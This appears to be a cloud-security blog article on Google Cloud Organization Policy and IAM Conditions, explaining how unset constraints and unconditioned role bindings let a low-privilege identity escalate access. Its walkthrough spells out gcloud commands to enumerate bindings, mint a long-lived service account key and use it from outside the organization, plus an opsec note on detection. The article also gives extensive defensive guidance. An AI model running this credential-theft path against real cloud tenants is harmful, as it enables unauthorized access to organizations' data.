GCP Organization Policy and IAM Conditions

GCP Organization Policy and IAM Conditions - article cover image Cloud Security
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Google Cloud gives administrators two very different guardrail systems that are often confused for one another. The Organization Policy Service enforces *constraints* — boolean or list-based restrictions such as “no external IPs on Compute instances” or “no service account key creation” — at the organization, folder, or project level, and those constraints inherit down the resource hierarchy. IAM Conditions, by contrast, are attribute-based expressions written in Common Expression Language (CEL) that are attached to a *specific role binding*, narrowing who can do what, on which resources, and under which circumstances (e.g. only before a given date, or only against resources with a given tag).

The two systems are complementary — Org Policy sets the outer walls that apply to everyone regardless of role, while IAM Conditions fine-tune individual grants inside those walls — but that same separation is what makes them easy to get wrong. An org policy left at its permissive default does not show up in an IAM policy diff, and an IAM binding created without a condition looks identical to one that was supposed to have one unless someone checks. Both failure modes are silent, both are common in real environments, and both routinely turn a single compromised identity into full project or organization compromise.

Attack Prerequisites

This is a misconfiguration-abuse technique, not an exploit against a vulnerability in GCP itself. To make use of it an attacker or assessor needs:

  • Some initial credential in the target GCP organization — a compromised user account, a leaked service account key, or a workload identity token with at least roles/viewer or narrower on a project.
  • Read access to IAM and Org Policy APIs (resourcemanager.projects.getIamPolicy, orgpolicy.policies.get or equivalent broader roles) to enumerate what is and isn’t restricted.
  • A target environment where key Org Policy constraints are unset or not enforced/inherited, and/or where privileged IAM bindings were granted without the IAM Conditions the design intended.

How It Works

Org Policy constraints come in two shapes: boolean constraints (on/off, e.g. iam.disableServiceAccountKeyCreation) and list constraints that allow or deny specific values (e.g. iam.allowedPolicyMemberDomains, which restricts which identity domains can be added to IAM bindings at all). Constraints set at the organization node are inherited by every folder and project beneath it, but unless a policy is explicitly set with enforce: true and inheritance is not overridden lower down, a project owner with orgpolicy.policyAdmin can loosen or reset the constraint at their level. A large number of GCP organizations never touch the defaults for constraints like iam.disableServiceAccountKeyCreation or iam.automaticIamGrantsForDefaultServiceAccounts, leaving them permissive org-wide from day one.

IAM Conditions attach a CEL expression to one binding inside a resource’s IAM policy. A condition typically tests request.time (for time-boxed access), resource.name (to scope a grant to a subset of resources such as a bucket prefix), or resource tags via resource.matchTag(...). Conditions are set with gcloud projects add-iam-policy-binding --condition=... or via the console’s “Add IAM condition” UI, and they are optional — nothing forces a broad role like roles/editor or roles/owner to carry one. If a team intends roles/storage.objectAdmin to apply only to a single bucket via a resource.name.startsWith(...) condition but a script or console click creates the binding unconditioned, the grant silently becomes project-wide.

The two systems interact in a way defenders often miss: an Org Policy constraint restricts a *capability* (e.g. “cannot create service account keys”) regardless of IAM role, while an IAM Condition restricts the *scope of a grant*. A org that has correctly conditioned all its storage-admin bindings can still be fully compromised if iam.disableServiceAccountKeyCreation was never enforced, because key creation sidesteps conditional bindings entirely — the attacker just mints a portable, long-lived credential and authenticates outside the context the conditions assumed.

Vulnerable Code / Configuration

First, the Org Policy constraint controlling service account key creation left at its default (unset, effectively “allowed”). Describing it against a project shows no explicit policy — the constraint is fully permissive:

$ gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \
    --project=prod-app-213411
# (empty response / 404 - no policy set at or above this project)
# Effective behavior: service account key creation is ALLOWED everywhere
# beneath the organization node, because the constraint was never enforced.
YAML

Second, a broad IAM role bound with no condition at all, granted to a group that was only ever supposed to get scoped, time-boxed access:

# Intended: temporary, resource-scoped access for a contractor group
# Actual: unconditioned roles/editor at the project level
gcloud projects add-iam-policy-binding prod-app-213411 \
  --member='group:contractors-q3@example.com' \
  --role='roles/editor'
# No --condition flag -> binding applies to every resource, indefinitely,
# until someone manually notices and removes it.
Bash

Third, an iam.allowedPolicyMemberDomains list constraint that was never configured, meaning IAM bindings can legally reference *any* Google identity — including personal gmail.com accounts outside the organization’s control:

$ gcloud org-policies describe constraints/iam.allowedPolicyMemberDomains \
    --organization=123456789012
# (empty - no allow-list configured)
# Anyone with bindings.create permission can add:
#   member: user:attacker.personal@gmail.com
# and it will be accepted, with no domain restriction blocking it.
YAML

Walkthrough / Exploitation

Starting from a low-privilege but valid identity, enumerate the effective IAM policy on reachable projects to find bindings worth targeting:

gcloud projects get-iam-policy prod-app-213411 --format=json > policy.json

# Look for broad roles bound to identities you control or can pivot through,
# and note which bindings carry NO "condition" key at all.
jq '.bindings[] | select(.role=="roles/editor" or .role=="roles/owner")' policy.json
Bash

Confirm the relevant Org Policy constraint is not enforced, so a key can be minted without triggering a policy violation:

gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \
  --project=prod-app-213411 --effective
# effective value: not set / allow -> key creation permitted
Bash

With iam.serviceAccountKeyAdmin-equivalent permissions inherited from the unconditioned roles/editor binding, mint a long-lived key for a service account that already carries privileged access:

gcloud iam service-accounts keys create key.json \
  --iam-account=app-backend@prod-app-213411.iam.gserviceaccount.com

# The resulting key.json is a standalone credential, valid outside any
# session context, IAM Condition, or VPC-SC perimeter the org relied on.
Bash

Use the exfiltrated key from anywhere, entirely outside the organization’s managed devices or network, and enumerate what it can reach — since the originating roles/editor binding had no condition, the key inherits unrestricted project-wide access:

gcloud auth activate-service-account \
  --key-file=key.json

gcloud projects get-iam-policy prod-app-213411
gcloud compute instances list --project=prod-app-213411
gsutil ls -L -b gs://prod-app-213411-data
Bash

Note: Org Policy constraints have three inheritance behaviors that are easy to conflate: enforce: true, an explicit allow/deny list, and inheritance from a parent node overridden by a child policy (resetIamPolicy/policy merge rules). Always check the *effective* policy with --effective, not just what is set at the node you are looking at — a project can look locked down while a folder above it silently loosens the same constraint.

Opsec: Service account key creation is a comparatively loud action — it generates an google.iam.admin.v1.CreateServiceAccountKey entry in Cloud Audit Logs with the requesting identity, key ID, and target service account. On an assessment, expect this step to be the one most likely to trigger detections even when the surrounding IAM bindings themselves are unmonitored.

Detection and Defense

Both failure modes are fixable with configuration, not code, and both are detectable from logs that GCP already generates:

  • Enforce key constraints at the organization node with inheritance locked — iam.disableServiceAccountKeyCreation, iam.allowedPolicyMemberDomains, compute.vmExternalIpAccess, and iam.automaticIamGrantsForDefaultServiceAccounts should all be set with gcloud org-policies set-policy at the org level with enforce: true, not left to individual project owners.
  • Use iam.allowedPolicyMemberDomains to prevent any IAM binding from referencing identities outside the organization’s approved domains, closing off the personal-Gmail escalation path entirely.
  • Require IAM Conditions on broad roles — prefer scoped, time-boxed CEL expressions (request.time.getHours("UTC") < 18, resource.name.startsWith(...)) over standing roles/editor/roles/owner grants, and treat any unconditioned broad binding as a finding during review.
  • Enable Cloud Audit Logs (Admin Activity is on by default; enable Data Access logs for IAM) and alert on google.iam.admin.v1.CreateServiceAccountKey, SetIamPolicy, and google.cloud.orgpolicy.v2.OrgPolicy.CreatePolicy / UpdatePolicy events, especially outside change-management windows.
  • Run Policy Analyzer and IAM Recommender (part of Policy Intelligence) regularly to surface unused permissions and overly broad grants, and use gcloud asset search-all-iam-policies to find bindings without conditions across the whole org.

Real-World Impact

Unenforced Org Policy defaults and unconditioned IAM bindings are among the most frequently cited findings in GCP cloud security assessments, precisely because they require no exploit development — only enumeration. Service account key sprawl in particular is a well-documented root cause in cloud incident write-ups and is why Google’s own security foundations guidance and the CIS Google Cloud Platform Benchmark both call out disabling default key creation and enforcing IAM condition usage as baseline organizational controls, not optional hardening.

Conclusion

Org Policy and IAM Conditions solve different problems — one restricts what is possible at all, the other restricts the scope of a specific grant — and an organization that only tunes one of them is still exposed through the other. The fix is to treat both as mandatory, org-enforced baselines rather than opt-in project settings: lock key constraints at the organization node, require conditions on broad role bindings, and alert on the small set of audit-log events that mark the moment a silent misconfiguration turns into a usable credential.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL